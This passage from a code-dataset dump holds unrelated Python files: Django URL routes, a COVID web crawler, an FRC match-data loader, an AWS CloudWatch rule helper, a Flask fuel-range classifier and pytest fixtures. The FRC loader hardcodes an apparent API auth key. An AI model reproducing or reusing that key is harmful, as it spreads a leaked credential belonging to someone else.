get_ip()\n\t\telse:\n\t\t\tpass\n\t\tget(url_art,csv_write,HEADERS,out,proxies3)\n\t\ttime.sleep(0.5)\n\tprint('over')\n\tout.close()\n","sub_path":"model/scrapy/Hydrodynamics.py","file_name":"Hydrodynamics.py","file_ext":"py","file_size_in_byte":3378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"31022219","text":"from django.conf.urls import patterns, url\n\nfrom .views import (\n AccountDetails,\n AccountViewSet,\n AccountCurrentUser,\n AccountTimes,\n AccountAutocomplete,\n)\n\n\nurlpatterns = patterns(\n '',\n url(r'^$', AccountViewSet.as_view(), name='users'),\n url(\n r'^login/$',\n 'django.contrib.auth.views.login', {\n 'template_name': 'accounts/login.html'\n },\n name=\"login\"\n ),\n url(\n r'^me/$',\n AccountCurrentUser.as_view(),\n name='current_user'\n ),\n url(\n r'^logout/$',\n 'django.contrib.auth.views.logout', {\n 'next_page': '/'\n }, name=\"logout\"\n ),\n url(\n r'^(?P\\d+)/$',\n AccountDetails.as_view(),\n name='details'\n ),\n url(\n r'^(?P\\d+)/times/(?P\\d{4}-\\d{2}-\\d{2})$',\n AccountTimes.as_view(),\n name='user_times',\n ),\n url(\n r'^autocomplete/$',\n AccountAutocomplete.as_view(),\n name='autocomplete'\n ),\n)\n","sub_path":"tragile/accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"592376956","text":"import urllib.request\r\nfrom bs4 import BeautifulSoup\r\nimport numpy as np\r\nimport pandas as pd\r\nimport re\r\nimport datetime\r\nimport os\r\n\r\ndir_path = os.path.dirname(os.path.realpath(__file__)) # get current file path for saving excel to same path later\r\n\r\nurl = \"https://www.worldometers.info/coronavirus/#countries\" # set target url\r\nuser_agent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7' # user agent\r\nheaders = {'User-Agent': user_agent} # add user agent to request header\r\n\r\n# request url content and read / parse response html\r\nrequest = urllib.request.Request(url, None, headers=headers)\r\nresponse = urllib.request.urlopen(request)\r\nhtml = response.read()\r\nsoup = BeautifulSoup(html, \"html.parser\")\r\n\r\n\"\"\"\r\n1st part looks for data only\r\n\"\"\"\r\n\r\ntable = soup.find(\"table\", {\"id\": \"main_table_countries_today\"}) # find table in html\r\nrows = table.findAll(\"td\") # find table content\r\n\r\ntable_cells = [] # define list for table cell content\r\n\r\n# get cell content from table using regular expression and append to list\r\nfor row in rows:\r\n row = str(row)\r\n covid_regex = re.compile(r\">+[+]?\\d*,?\\d*,?\\d*[.]?\\d*\\D*<+\")\r\n reg_result = covid_regex.search(row)\r\n try:\r\n table_cells.append(reg_result.group())\r\n except AttributeError:\r\n table_cells.append(\"EXCEPT ATTRIBUTE ERROR\")\r\n\r\ndata = [] # define list for cleaned table cell content\r\n\r\n# clean and append cell content to list\r\nfor cell in table_cells:\r\n try:\r\n data.append(float(cell.replace(\">\", \"\").replace(\"<\", \"\").replace(\"+\", \"\").replace(\",\", \"\")))\r\n except ValueError:\r\n data.append(cell[1:-1])\r\n\r\ndata = data[:-19] # delete last 13 entries (which are total rows in original table)\r\ndata_array = np.reshape(np.array(data), (-1, 19)) # reshape list to array of size 212 x 11\r\n\r\n# transform array to dataframe and add col names\r\ndf = pd.DataFrame(data_array, columns=[\"ID\", \"Country\", \"Total Cases\", \"New Cases\", \"Total Deaths\", \"New Deaths\",\r\n \"Total Recovered\", \"New Recovered\", \"Active Cases\", \"Serious, Critical\", \"Tot Cases/1M pop\",\r\n \"Deaths/ 1M pop\", \"Total Tests\", \"Tests/ 1M pop\", \"Population\", \"Continent\", \"1 Case every X people\",\r\n \"1 Death every X people\", \"1 Test every X ppl\"])\r\n\r\n\"\"\"\r\n2nd part cleans up country names and saves data to excel\r\n\"\"\"\r\n\r\nctry = df[\"Country\"].tolist() # get country data and save to list\r\nctry_clean = [] # define new list for cleaned data\r\nctry_regex = re.compile(r\">+\\w*-?.?\\s?\\w*\\s?\\w*\\s?\\w*<+\") # define regular expression to extract country name\r\n\r\n# iterate through ist and extract country name based on regex (+ filter for e.g. vessels)\r\nfor i in ctry:\r\n reg_result = ctry_regex.search(i)\r\n try:\r\n ctry_clean.append(reg_result.group()[1:-1])\r\n except AttributeError:\r\n ctry_clean.append(\"NO COUNTRY\")\r\ndf[\"Country\"] = ctry_clean # save cleaned country data to df\r\ndf = df[8:-7] # drop not needed rows (i.e. aggregated rows for continents)\r\ndf.reset_index(inplace=True)\r\ndf.drop([\"Population\", \"index\", \"ID\"], axis = 1, inplace=True)\r\ndf.to_csv(f\"{dir_path}\\\\{datetime.datetime.now().date()} COVID-19 worldwide.csv\", sep=\";\") # save data to excel\r\nprint(f\"Excel printed to {dir_path}!\") # show file location\r\n","sub_path":"COVID_Data_Crawler.py","file_name":"COVID_Data_Crawler.py","file_ext":"py","file_size_in_byte":3363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"521063656","text":"# import math\n# import django\n# print(django.VERSION)\n# print('1.私の名前はPythonです.')\n# print('2.私の名前はPythonです.')\n# print('3.私の名前はPythonです.')\n# m=(1+1j)*(1-1j);\n# print(m);\n# m=math.sin(math.pi/2);\n# print(\"sin(90) = %.*f\" %(2,m));\n# m=math.sqrt(36);\n# print(m);\n\n# coding: utf -8\n\n# 必要なモジュールの読込み\n# import threading\n# import time\n#\n# # 第1 スレッド\n# def th_1(name ):\n# for i in range (8):\n# print(name)\n# time.sleep (1)\n#\n# # 第2 スレッド\n# def th_2(name ):\n# for i in range (3):\n# print('\\t',name)\n# time.sleep (2)\n#\n# # スレッドの生成\n# t1 = threading.Thread(target=th_1 , args=('Thread -1',))\n# t2 = threading.Thread(target=th_2 , args=('Thread -2',))\n# # スレッドの開始\n# t1.start ()\n# t2.start ()\n#\n# # スレッドの終了待ち\n# t2.join ()\n# print ('\\tThread -2 ended')\n# t1.join ()\n# print('Thread -1 ended')\n\nprint(\"x+3\")\ndef foo():\n return 18\nb=foo()\nprint('x = %d' %b)\nname = input('input your own name: \\r\\n');\nprint(\"Well, hello \", name)\n\nperson = input('Enter your name: ')\ngreeting = 'Hello, {}!'.format(person)\nprint(greeting)\n","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"385506021","text":"from tba import tba\nimport numpy as np\nfrom match import Team, MatchQM\n\npitt_key, pembroke_key, ash_key = '2018ncgre', '2018ncpem', '2018ncash'\nforsyth_key, state_champs = '2018ncwin', '2018nccmp'\nnc_events = ['2018ncgre', '2018ncpem', '2018ncash', '2018ncwin', '2018nccmp']\nfnc_key = '2018nc'\ntba.auth_key = 'vbxm8opdrSZqgnjzor6lVtLuZKTpre4oo2WR3Zw8iS3NmmI9p1G83sgC59ZmB9eF'\nstates = MatchQM(state_champs)\n\nnc_teams = [Team.keyToNum(key) for key in tba._fetch('district/%s/teams/keys' % (fnc_key))]\nstate_teams = [Team.keyToNum(key) for key in tba._fetch('event/%s/teams/keys' % (state_champs))]\n\ntrain_data_file = open(\"training_data.txt\", \"w+\")\ntrain_labels_file = open(\"training_labels.txt\", \"w+\")\n\n# 32 teams, 10 features\n# dictionary for easy access\nbg_data = {}\nindex = 0\nfor count in range(len(nc_teams)):\n bg_data[nc_teams[count]] = Team.compile_stats(nc_teams[count])\n print(\"Finished Team #\", count)\nprint(\"Finished creating NC team dictionary\")\n\n# assemble training data\nfor event in nc_events:\n myMatch = MatchQM(event)\n all_matches = tba._fetch('event/%s/matches' % (event))\n # 6 teams, 10 features\n mtch_dta = np.empty((6, 10))\n for match in all_matches:\n match_num = match['match_number']\n print(match_num)\n red_teams, blue_teams = myMatch.get_teams(match_num, 'red'), myMatch.get_teams(match_num, 'blue')\n for team in red_teams:\n if team in bg_data:\n for point in bg_data[team]:\n train_data_file.write(str(point) + ' ')\n train_data_file.write('\\n')\n print(bg_data[team])\n else:\n for point in range(10):\n train_data_file.write('0')\n train_data_file.write('\\n')\n print(\"----- Not an NC Team -----\")\n for team in blue_teams:\n if team in bg_data:\n for point in bg_data[team]:\n train_data_file.write(str(point) + ' ')\n train_data_file.write('\\n')\n print(bg_data[team])\n else:\n for point in range(10):\n train_data_file.write('0')\n train_data_file.write('\\n')\n print(\"----- Not an NC Team -----\")\n train_data_file.write('match\\n')\n print(\"Finished a match\")\n\n # training labels\n red_score = myMatch.red_total(match_num)\n blue_score = myMatch.blue_total(match_num)\n # 0 - red, 1 - blue\n score = blue_score / (blue_score + red_score)\n train_labels_file.write(str(score))\n train_labels_file.write(\"\\n\")\n print(\"------- FINISHED AN EVENT -------\")\n \ntrain_data_file.close()\ntrain_labels_file.close()","sub_path":"load-data-train.py","file_name":"load-data-train.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"46615562","text":"from hParsing import readFile, separate\nfrom sys import argv, exit\nimport selfmodule as m\n\"\"\"\nE = {P} arg {+ S}\n\"\"\"\n\npfx = {\"cd\":\"m.cd\",\"ls\":\"m.ls\",\"out\":\"m.out\"}\n\nvar = {\"pwd\":\"m.pwd()\",\"..\":\"\\\"..\\\"\"}\nsfx = [\"sort\",\"chop\",\"aslist\",\"dirs\",\"docs\",\"separated\",\"joined\"]\ninside = False\n\ndef Expression(code):\n ret = []\n i = 0\n while i < len(code):\n if code[i] == \"\\\"\":\n # the Word is a string. Jump to the next \\\"\n # \"...\"\n j = code[i+1:].index(\"\\\"\") + i + 1\n ret.append(\" \".join(code[i:j+1]))\n i = j\n elif code[i] in var:\n # Assigned variables are parsed as their value\n # [var-name] ===> [var-value]\n if i+1 < len(code):\n if code[i+1] == \"=\":\n # Unless it's a declaration\n # [var-name] = ... \n ret.append(code[i])\n else: ret.append(var[code[i]])\n else:\n ret.append(var[code[i]])\n elif code[i] == \"=\":\n # Variable declaration\n if i > 0 and i+1 < len(code):\n # [var-name] = [expression] \\n\n if not code[i-1].isdigit():\n j = code[i+1:].index(\"\\n\") + i + 1\n var[code[i-1]] = \"\".join(Expression(code[i+1:j]))\n ret.append(\"=\" + var[code[i-1]] + \"\\n\")\n i = j\n else: m.fatalError(\"VariableNameError\")\n else:\n m.fatalError(\"AssignmentError\")\n elif code[i] == \"+\":\n if i+1 < len(code):\n if code[i+1] in sfx:\n # Suffix gives extra variable parameters\n ret.append(code[i+1]+\"=True\")\n i+= 1\n else: m.fatalError(\"SuffixNameError\")\n else:\n print(\"SuffixPositionError\")\n exit()\n elif code[i] in pfx:\n # Prefix declaration, separate arguments with commas\n ret.append(pfx[code[i]]+\"(\")\n if \"\\n\" in code[i+1:]:\n j = code[i+1:].index(\"\\n\") + i + 1\n else: j = len(code) - 1\n # Arguments\n obj = SubExpression(code[i+1:j])\n if len(obj) > 0:\n ret.append(\",\".join(obj))\n ret[-1] += \")\"\n ret.append(\"\\n\")\n i = j\n else:\n ret.append(code[i])\n i+= 1\n return ret\n\ndef SubExpression(code):\n ret = Expression(code)\n if len(ret) <= 1: return ret\n else: return ret[:-1]\n\ndef Parse(code):\n ret = Expression(code)\n return ret\n\n\ncode = separate(readFile(argv[1]), \"\\\"=\")\nj = []\nfor i in code.split(\"\\n\"):\n j+=(i.split()+[\"\\n\"])\nj.append(\"\\n\")\nprint(\"Executing...\")\ng = \"\".join(Parse(j))\nprint(\"Returned: \\n\"+g)\ntry:\n exec(g)\nexcept:\n print(\":[\")","sub_path":"Prototypes/self/P0/selfP0.py","file_name":"selfP0.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"442495012","text":"#! usr/bin/python\n# coding=utf-8\n\nimport time\n\n\nclass SoundUtils:\n\n @classmethod\n def bell(cls, _time, _time_step):\n \"\"\"\n 响铃_time次,每次间隔_time_step秒\n :param _time:\n :param _time_step:\n :return:\n \"\"\"\n for i in range(_time):\n print(\"\\a\")\n time.sleep(_time_step)\n","sub_path":"r_utils/sound_utils.py","file_name":"sound_utils.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"171235494","text":"\n\"\"\"\nAn interface to the main iADC control register. The one at address 0.\n\nContains some methods for modifying the parameters of this register\n\"\"\"\n\nclass IAdcRegistersControl:\n def __init__(self, analogue_selection='indep', clock_selection='in', cal_mode='no_cal', clk_speed=800):\n \"\"\" The control register created by default is designed to sample the I Q channels\n independantly (ie: each get RF input gets sampled by its core) and in phase.\n\n analogue_selection -- 'indep', 'inter_I' or 'inter_Q'. See #set_analogue_selection.\n clock_selection -- 'in', 'quad' or 'neg'. See #set_clock_selection\n cal_mode -- 'no_cal', 'new_cal', or 'keep_last_cal'.\n clk_speed -- clock speed in MHz\n \"\"\"\n self.value = 0\n self.value |= (0b1 << 2) # disable chip version output bit\n self.value |= (0b1 << 3) # set demux to 1:2\n clk_bits = 0b00 if (clk_speed<125) else 0b01 if (clk_speed<250) else 0b10 if (clk_speed<500) else 0b11\n self.value |= (clk_bits << 12) # control wait bit calibration value is dependent on clk speed\n self.value |= (1 << 14) # set FDataReady to Fs/2. I don't know what this means\n self.set_analogue_selection(analogue_selection)\n self.set_clock_selection(clock_selection)\n self.set_cal_mode(cal_mode)\n\n def set_analogue_selection(self, mode):\n \"\"\"\n Specifies how the RF channels will be connected to the ADC cores.\n Either independant or one channel interleaved\n\n mode --\n indep: InI -> ADCI ; InQ -> ADCQ\n inter_I: InI -> ADCI ; InI -> ADCQ\n inter_Q: InQ -> ADCI ; InQ -> ADCQ\n \"\"\"\n bits_map = {'inter_Q': 0b00, 'inter_I': 0b10, 'indep': 0b11}\n self.value &= ~(0b11 << 4)\n self.value |= (bits_map[mode] << 4)\n\n def set_clock_selection(self, mode):\n \"\"\"\n Specifies the phase between each core's clock\n\n mode --\n in: in phase.\n quad: quadtrature\n neg: 180 degree phase shift (negative)\n \"\"\"\n bit_map = {'neg': 0b00, 'in': 0b10, 'quad': 0b11}\n self.value &= ~(0b11 << 6) # clear bits 7 downto 6\n self.value |= (bit_map[mode] << 6) \n\n def set_cal_mode(self, mode):\n \"\"\"\n Set to no_cal to be able to modify the XXXX registers manually\n\n cal -- 'no_cal', 'new_cal' or 'keep_last_cal'\n \"\"\"\n bits_map = {'no_cal': 0b00, 'keep_last_cal': 0b01, 'new_cal': 0b11}\n # clear bits 10 and 11\n self.value &= ~(0b11 << 10)\n # set bits as per specification\n self.value |= (bits_map[mode] << 10)\n","sub_path":"iadc_registers_control.py","file_name":"iadc_registers_control.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"468495065","text":"import time\nfrom typing import Any, Dict\n\nfrom ....models.models import Motion\nfrom ....shared.exceptions import ActionException\nfrom ....shared.patterns import POSITIVE_NUMBER_REGEX, Collection, FullQualifiedId\nfrom ....shared.schema import id_list_schema, optional_id_schema\nfrom ...mixins.create_action_with_dependencies import CreateActionWithDependencies\nfrom ...util.default_schema import DefaultSchema\nfrom ...util.register import register_action\nfrom ..agenda_item.agenda_creation import (\n CreateActionWithAgendaItemMixin,\n agenda_creation_properties,\n)\nfrom ..agenda_item.create import AgendaItemCreate\nfrom ..list_of_speakers.create import ListOfSpeakersCreate\nfrom ..list_of_speakers.list_of_speakers_creation import (\n CreateActionWithListOfSpeakersMixin,\n)\nfrom ..motion_submitter.create import MotionSubmitterCreateAction\nfrom .sequential_numbers_mixin import SequentialNumbersMixin\nfrom .set_number_mixin import SetNumberMixin\n\n\n@register_action(\"motion.create\")\nclass MotionCreate(\n CreateActionWithDependencies,\n CreateActionWithAgendaItemMixin,\n SequentialNumbersMixin,\n SetNumberMixin,\n CreateActionWithListOfSpeakersMixin,\n):\n \"\"\"\n Create Action for motions.\n \"\"\"\n\n model = Motion()\n schema = DefaultSchema(Motion()).get_create_schema(\n optional_properties=[\n \"meeting_id\",\n \"title\",\n \"number\",\n \"state_extension\",\n \"sort_parent_id\",\n \"category_id\",\n \"block_id\",\n \"supporter_ids\",\n \"tag_ids\",\n \"attachment_ids\",\n \"origin_id\",\n \"text\",\n \"lead_motion_id\",\n \"statute_paragraph_id\",\n \"reason\",\n ],\n required_properties=[\"meeting_id\", \"title\"],\n additional_optional_fields={\n \"workflow_id\": optional_id_schema,\n \"submitter_ids\": id_list_schema,\n **Motion().get_property(\"amendment_paragraph_$\", POSITIVE_NUMBER_REGEX),\n **agenda_creation_properties,\n },\n )\n dependencies = [AgendaItemCreate, ListOfSpeakersCreate]\n\n def update_instance(self, instance: Dict[str, Any]) -> Dict[str, Any]:\n # special check logic\n if instance.get(\"lead_motion_id\"):\n if instance.get(\"statute_paragraph_id\"):\n raise ActionException(\n \"You can't give both of lead_motion_id and statute_paragraph_id.\"\n )\n if not instance.get(\"text\") and not instance.get(\"amendment_paragraph_$\"):\n raise ActionException(\n \"Text or amendment_paragraph_$ is required in this context.\"\n )\n if instance.get(\"text\") and instance.get(\"amendment_paragraph_$\"):\n raise ActionException(\n \"You can't give both of text and amendment_paragraph_$\"\n )\n if instance.get(\"text\") and \"amendment_paragraph_$\" in instance:\n del instance[\"amendment_paragraph_$\"]\n if instance.get(\"amendment_paragraph_$\") and \"text\" in instance:\n del instance[\"text\"]\n else:\n if not instance.get(\"text\"):\n raise ActionException(\"Text is required\")\n if instance.get(\"amendment_paragraph_$\"):\n raise ActionException(\n \"You can't give amendment_paragraph_$ in this context\"\n )\n\n # fetch all needed settings and check reason\n meeting = self.datastore.get(\n FullQualifiedId(Collection(\"meeting\"), instance[\"meeting_id\"]),\n [\n \"motions_default_workflow_id\",\n \"motions_default_amendment_workflow_id\",\n \"motions_default_statute_amendment_workflow_id\",\n \"motions_reason_required\",\n ],\n )\n if meeting.get(\"motions_reason_required\") and not instance.get(\"reason\"):\n raise ActionException(\"Reason is required\")\n\n # calculate state_id from workflow_id\n workflow_id = instance.pop(\"workflow_id\", None)\n if workflow_id is None:\n if instance.get(\"lead_motion_id\"):\n workflow_id = meeting.get(\"motions_default_amendment_workflow_id\")\n elif instance.get(\"statute_paragraph_id\"):\n workflow_id = meeting.get(\n \"motions_default_statute_amendment_workflow_id\"\n )\n else:\n workflow_id = meeting.get(\"motions_default_workflow_id\")\n if workflow_id:\n workflow = self.datastore.get(\n FullQualifiedId(Collection(\"motion_workflow\"), workflow_id),\n [\"first_state_id\"],\n )\n instance[\"state_id\"] = workflow.get(\"first_state_id\")\n else:\n raise ActionException(\n \"No matching default workflow defined on this meeting\"\n )\n\n # check for origin_id\n if instance.get(\"origin_id\"):\n meeting = self.datastore.get(\n FullQualifiedId(Collection(\"meeting\"), instance[\"meeting_id\"]),\n [\"committee_id\"],\n )\n forwarded_from = self.datastore.get(\n FullQualifiedId(Collection(\"motion\"), instance[\"origin_id\"]),\n [\"meeting_id\"],\n )\n forwarded_from_meeting = self.datastore.get(\n FullQualifiedId(Collection(\"meeting\"), forwarded_from[\"meeting_id\"]),\n [\"committee_id\"],\n )\n committee = self.datastore.get(\n FullQualifiedId(\n Collection(\"committee\"), forwarded_from_meeting[\"committee_id\"]\n ),\n [\"forward_to_committee_ids\"],\n )\n if meeting[\"committee_id\"] not in committee.get(\n \"forward_to_committee_ids\", []\n ):\n raise ActionException(\n f\"Committee id {meeting['committee_id']} not in {committee.get('forward_to_committee_ids', [])}\"\n )\n\n # create submitters\n submitter_ids = instance.pop(\"submitter_ids\", None)\n if not submitter_ids:\n submitter_ids = [self.user_id]\n self.apply_instance(instance)\n action_data = []\n for user_id in submitter_ids:\n action_data.append({\"motion_id\": instance[\"id\"], \"user_id\": user_id})\n self.execute_other_action(MotionSubmitterCreateAction, action_data)\n\n instance[\"sequential_number\"] = self.get_sequential_number(\n instance[\"meeting_id\"]\n )\n # set created and last_modified\n timestamp = round(time.time())\n instance[\"created\"] = timestamp\n instance[\"last_modified\"] = timestamp\n self.set_number(\n instance,\n instance[\"meeting_id\"],\n instance[\"state_id\"],\n instance.get(\"lead_motion_id\"),\n instance.get(\"category_id\"),\n )\n\n return instance\n","sub_path":"openslides_backend/action/actions/motion/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":7013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"598111104","text":"import boto3 \nimport json\nimport os\n\n\n## Declare resources and clients: \nevents = boto3.client('events')\n\n# 1. Run CreateRole to attach a trust agreement to a role. \n# 2. Run CreatePolicy to create a new managed policy from the policy document. \n# 3. Load in the role to a new object, and Run attach policy to attach the policy we created in step 2. \n# 4. Use the role to generate cloudwatch event calls. \n\n## Create event rule: \ndef put_instance_rule(instance_id):\n event_pattern = {\n \"source\": [\"aws.ec2\"],\n \"detail-type\": [\"EC2 Instance State-change Notification\"],\n \"detail\":{\n \"state\":[\"running\",\"stopped\",'shutting-down'],\n \"instance-id\":[instance_id]}}\n ep_encoded = json.dumps(event_pattern)\n name = \"Monitor\"+instance_id\n print('environ_param',os.environ)\n response = events.put_rule(\n Name = name,\n EventPattern = ep_encoded,\n State = 'ENABLED',\n Description = 'on-the-fly monitoring setup for instance '+instance_id,\n RoleArn =os.environ['cwrolearn'])\n return response,name\n\n## Create target: \ndef put_instance_target(rulename):\n response = events.put_targets(\n Rule = rulename,\n Targets = [\n {\n 'Arn':os.environ['figlambarn'],\n 'Id':os.environ['figlambid']}])\n return response\n\n","sub_path":"sam_locanmf_stack/.aws-sam/build/S3DelObjectFunction/utilsparam/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"348893316","text":"# Load libraries\nfrom threading import Timer\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.cluster import KMeans\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.linear_model import LogisticRegression\n\nimport requests\nfrom flask import Flask, jsonify\n\nimport json\n\nfrom json import JSONEncoder\n\nimport time\n\n\nclass NumpyArrayEncoder(JSONEncoder):\n def default(self, obj):\n if isinstance(obj, np.ndarray):\n return obj.tolist()\n return JSONEncoder.default(self, obj)\n\n\nclass RepeatedTimer(object):\n def __init__(self, interval, function, *args, **kwargs):\n self._timer = None\n self.interval = interval\n self.function = function\n self.args = args\n self.kwargs = kwargs\n self.is_running = False\n self.start()\n\n def _run(self):\n self.is_running = False\n self.start()\n self.function(*self.args, **self.kwargs)\n\n def start(self):\n if not self.is_running:\n self._timer = Timer(self.interval, self._run)\n self._timer.start()\n self.is_running = True\n\n def stop(self):\n self._timer.cancel()\n self.is_running = False\n\n\napp = Flask(__name__)\n\ndistance = 0\nfuel = 0\n\n\n@app.route('/cloud/can_go', methods=['GET'])\n# @cache.cached(timeout=300)\ndef speed_data():\n\n start_time = time.time()\n number_array = model_train()\n numpyData = {\"array\": number_array}\n encodedNumpyData = json.dumps(numpyData, cls=NumpyArrayEncoder) # use dump() to write array into file\n print(\"---y_train %s seconds ---\" % (time.time() - start_time))\n return encodedNumpyData\n\n\ndef get_ac_control_data():\n try:\n req = requests.get(\"http://localhost:3103/ac_control/output\")\n decodedArrays = json.loads(req.text)\n\n finalNumpyArray = np.asarray(decodedArrays[\"array\"])\n\n except requests.exceptions.ConnectionError:\n return \"Service unavailable\"\n return finalNumpyArray\n\n\ndef get_speed_data():\n try:\n req = requests.get(\"http://localhost:3202/speed/output\")\n decodedArrays = json.loads(req.text)\n\n finalNumpyArray = np.asarray(decodedArrays[\"array\"])\n\n except requests.exceptions.ConnectionError:\n return \"Service unavailable\"\n return finalNumpyArray\n\n\ndef get_amount_fuel_data():\n global distance, fuel\n\n try:\n req = requests.get(\"http://localhost:6201/cloud/get_mobile_data\")\n decodedArrays = json.loads(req.text)\n\n distance = float(decodedArrays[\"distance\"])\n fuel = float(decodedArrays[\"fuel\"])\n\n print(distance)\n print(fuel)\n\n except requests.exceptions.ConnectionError:\n return \"Service unavailable\"\n\n\ndef model_train():\n global distance, fuel\n\n get_amount_fuel_data()\n\n # speed_output = [float(i) for i in get_speed_data()]\n # ac_output = [float(i) for i in get_ac_control_data()]\n #\n # print(len(speed_output))\n # print(len(ac_output))\n #\n # if len(speed_output) > len(ac_output):\n # min = len(ac_output)\n # else:\n # min = len(speed_output)\n #\n # X = np.array((speed_output[:min], ac_output[:min])).T\n #\n # df = pd.DataFrame(X)\n #\n # print(\"df\")\n # print(df)\n\n dataset = pd.read_csv(\"datasettt.csv\")\n df = dataset.iloc[:, [0, 1]]\n\n print(df)\n\n kmeans = KMeans(n_clusters=4, random_state=0)\n kmeans = kmeans.fit(df)\n\n df['labels'] = kmeans.labels_\n print(df['labels'].values.tolist())\n # interpretation of cluster values\n l = len(kmeans.labels_)\n for i in range(l):\n if kmeans.labels_[i] == 3:\n kmeans.labels_[i] = 1\n\n elif kmeans.labels_[i] == 0:\n kmeans.labels_[i] = 3\n\n elif kmeans.labels_[i] == 2:\n kmeans.labels_[i] = 4\n\n elif kmeans.labels_[i] == 1:\n kmeans.labels_[i] = 2\n\n df['labels'] = kmeans.labels_\n y = df['labels'].values\n\n array = df.values\n X = array[:, 0:2]\n\n # split the data set\n X_train, X_validation, Y_train, Y_validation = train_test_split(X, y, test_size=0.20, random_state=0)\n\n # Make predictions for validating dataset\n model = LogisticRegression(solver='liblinear', multi_class='ovr')\n model.fit(X_train, Y_train)\n predictions = model.predict(X_validation)\n\n # Evaluate predictions\n print('Accuracy: ', accuracy_score(Y_validation, predictions))\n\n print('confusion_matrix: ')\n print(confusion_matrix(Y_validation, predictions))\n\n print('classification_report: ')\n print(classification_report(Y_validation, predictions))\n\n ###############check whether the vehicle can reach to the destination or not?################\n predict = model.predict([[4, 2]])\n print(predict)\n # distance = 250\n # litre = 20\n\n if predict == 1:\n rate = 11\n elif predict == 2:\n rate = 12.5\n elif predict == 3:\n rate = 13.5\n elif predict == 4:\n rate = 15\n\n output = rate * fuel\n\n if output >= distance:\n print(1)\n return 1\n elif output < distance:\n print(0)\n return 0\n\n\n# passenger_data_automated = RepeatedTimer(5, get_passenger_count_data)\n\nif __name__ == '__main__':\n app.run(port=6202, host='0.0.0.0')\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"428450042","text":"class Solution:\n def nextPermutation(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: void Do not return anything, modify nums in-place instead.\n \"\"\"\n if not nums:\n return\n\n i1 = len(nums) - 1\n while i1 >= 1:\n if nums[i1 - 1] < nums[i1]:\n break\n i1 -= 1\n\n print(i1)\n i2 = len(nums) - 1\n if i1 != 0:\n while i2 >= i1:\n if nums[i1-1] < nums[i2]:\n nums[i1-1], nums[i2] = nums[i2], nums[i1-1]\n break\n i2 -= 1\n\n nums[i1::] = list(reversed(nums[i1:]))\n\ns = Solution()\ns.nextPermutation([1,2,3,9,8,6])\n\n# 在当前序列中,从尾端往前寻找两个相邻元素,前一个记为first,后一个记为second,\n# 并且满足first 小于 second。然后再从尾端寻找另一个元素number,如果满足first 小于number,\n# 即将第first个元素与number元素对调,并将second元素之后(包括second)的所有元素颠倒排序,即求出下一个序列\n\n# example:\n# 6,3,4,9,8,7,1\n# 此时 first = 4,second = 9\n# 从尾巴到前找到第一个大于first的数字,就是7\n# 交换4和7,即上面的swap函数,此时序列变成6,3,7,9,8,4,1\n# 再将second=9以及以后的序列重新排序,让其从小到大排序,使得整体最小,即reverse一下(因为此时肯定是递减序列)\n# 得到最终的结果:6,3,7,1,4,8,9\n","sub_path":"solutions/array/problem31_Next Permutation.py","file_name":"problem31_Next Permutation.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"233591825","text":"import pytest\nfrom allure_commons_test.report import AllureReport\nfrom doctest import script_from_examples\nimport mock\nimport allure_commons\nfrom contextlib import contextmanager\nfrom allure_commons.logger import AllureMemoryLogger\n\npytest_plugins = \"pytester\"\n\n\ndef pytest_configure(config):\n config.addinivalue_line(\n \"markers\", \"real_logger: mark test to run with a real allure logger\"\n )\n\n\n@contextmanager\ndef fake_logger(path, logger):\n blocked_plugins = []\n for name, plugin in allure_commons.plugin_manager.list_name_plugin():\n allure_commons.plugin_manager.unregister(plugin=plugin, name=name)\n blocked_plugins.append(plugin)\n\n with mock.patch(path) as ReporterMock:\n ReporterMock.return_value = logger\n yield\n\n for plugin in blocked_plugins:\n allure_commons.plugin_manager.register(plugin)\n\n\nclass AlluredTestdir:\n def __init__(self, testdir, request):\n self.testdir = testdir\n self.request = request\n self.allure_report = None\n\n def parse_docstring_source(self):\n docstring = self.request.node.function.__doc__ or self.request.node.module.__doc__\n source = script_from_examples(docstring).replace(\"#\\n\", \"\\n\")\n self.testdir.makepyfile(source)\n\n def parse_docstring_path(self):\n doc_file = self.request.node.function.__doc__ or self.request.node.module.__doc__\n example_dir = self.request.config.rootdir.join(doc_file.strip())\n with open(example_dir, encoding=\"utf-8\") as f:\n content = f.read()\n source = script_from_examples(content)\n self.testdir.makepyfile(source)\n\n def run_with_allure(self, *args, **kwargs):\n if self.request.node.get_closest_marker(\"real_logger\"):\n self.testdir.runpytest(\"--alluredir\", 